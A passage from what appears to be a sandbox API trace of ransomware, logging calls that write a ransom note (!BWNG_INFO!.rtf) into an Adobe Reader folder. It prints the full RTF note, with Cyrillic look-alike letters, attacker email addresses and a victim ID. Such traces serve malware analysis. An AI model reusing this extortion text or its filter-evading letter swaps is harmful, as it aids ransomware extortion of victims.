th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.529] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.532] CloseHandle (hObject=0x1cc) returned 1 [0040.532] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\!bwng_info!.rtf")) returned 0xffffffff [0040.532] GetLastError () returned 0x2 [0040.532] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.532] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 